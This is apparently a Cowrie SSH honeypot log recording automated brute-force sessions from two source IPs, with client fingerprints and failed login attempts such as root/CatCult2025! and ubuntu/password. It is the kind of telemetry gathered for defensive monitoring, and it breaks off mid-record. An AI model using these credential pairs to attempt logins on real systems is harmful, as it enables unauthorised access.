{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41514,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f97e6d0499e","protocol":"ssh","message":"New connection: 91.92.42.133:41514 (159.203.135.109:22) [session: 6f97e6d0499e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:43.129504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:43.147116Z","src_ip":"91.92.42.133","session":"6f97e6d0499e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:43.235780Z","src_ip":"91.92.42.133","session":"6f97e6d0499e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:43.784877Z","src_ip":"91.92.42.133","session":"6f97e6d0499e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:44.924490Z","src_ip":"91.92.42.133","session":"6f97e6d0499e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48170,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d1583dce90f","protocol":"ssh","message":"New connection: 91.92.42.133:48170 (159.203.135.109:22) [session: 0d1583dce90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:50.567894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:50.703922Z","src_ip":"91.92.42.133","session":"0d1583dce90f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:50.706896Z","src_ip":"91.92.42.133","session":"0d1583dce90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:51.935078Z","src_ip":"91.92.42.133","session":"0d1583dce90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:53.164195Z","src_ip":"91.92.42.133","session":"0d1583dce90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60156,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0da1c7301c1","protocol":"ssh","message":"New connection: 91.92.42.133:60156 (159.203.135.109:22) [session: d0da1c7301c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:57.890306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:58.093235Z","src_ip":"91.92.42.133","session":"d0da1c7301c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:58.097304Z","src_ip":"91.92.42.133","session":"d0da1c7301c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:59.101575Z","src_ip":"91.92.42.133","session":"d0da1c7301c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:00.362642Z","src_ip":"91.92.42.133","session":"d0da1c7301c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44494,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9b9fdd4e278","protocol":"ssh","message":"New connection: 91.92.42.133:44494 (159.203.135.109:22) [session: a9b9fdd4e278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:05.613877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:05.706348Z","src_ip":"91.92.42.133","session":"a9b9fdd4e278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:05.709651Z","src_ip":"91.92.42.133","session":"a9b9fdd4e278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:06.651902Z","src_ip":"91.92.42.133","session":"a9b9fdd4e278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:07.887866Z","src_ip":"91.92.42.133","session":"a9b9fdd4e278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44548,"dst_ip":"159.203.135.109","dst_port":22,"session":"075f8ed49cc6","protocol":"ssh","message":"New connection: 91.92.42.133:44548 (159.203.135.109:22) [session: 075f8ed49cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:13.268813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:13.450352Z","src_ip":"91.92.42.133","session":"075f8ed49cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:13.454360Z","src_ip":"91.92.42.133","session":"075f8ed49cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:14.786949Z","src_ip":"91.92.42.133","session":"075f8ed49cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:15.941774Z","src_ip":"91.92.42.133","session":"075f8ed49cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51264,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eef5b8cb4c8","protocol":"ssh","message":"New connection: 37.233.85.71:51264 (159.203.135.109:22) [session: 3eef5b8cb4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:18.073698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:18.078132Z","src_ip":"37.233.85.71","session":"3eef5b8cb4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:18.181762Z","src_ip":"37.233.85.71","session":"3eef5b8cb4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14061982","message":"login attempt [root/14061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:18.498097Z","src_ip":"37.233.85.71","session":"3eef5b8cb4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:19.604134Z","src_ip":"37.233.85.71","session":"3eef5b8cb4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58968,"dst_ip":"159.203.135.109","dst_port":22,"session":"0968855f6d70","protocol":"ssh","message":"New connection: 91.92.42.133:58968 (159.203.135.109:22) [session: 0968855f6d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:21.245680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:21.314212Z","src_ip":"91.92.42.133","session":"0968855f6d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:21.408828Z","src_ip":"91.92.42.133","session":"0968855f6d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:21.923019Z","src_ip":"91.92.42.133","session":"0968855f6d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:23.308676Z","src_ip":"91.92.42.133","session":"0968855f6d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46220,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eb5951afa77","protocol":"ssh","message":"New connection: 91.92.42.133:46220 (159.203.135.109:22) [session: 4eb5951afa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:28.235519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:28.446987Z","src_ip":"91.92.42.133","session":"4eb5951afa77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:28.453988Z","src_ip":"91.92.42.133","session":"4eb5951afa77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:29.802302Z","src_ip":"91.92.42.133","session":"4eb5951afa77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:31.064925Z","src_ip":"91.92.42.133","session":"4eb5951afa77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43342,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa73c024742a","protocol":"ssh","message":"New connection: 91.92.42.133:43342 (159.203.135.109:22) [session: aa73c024742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:35.486621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:35.804938Z","src_ip":"91.92.42.133","session":"aa73c024742a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01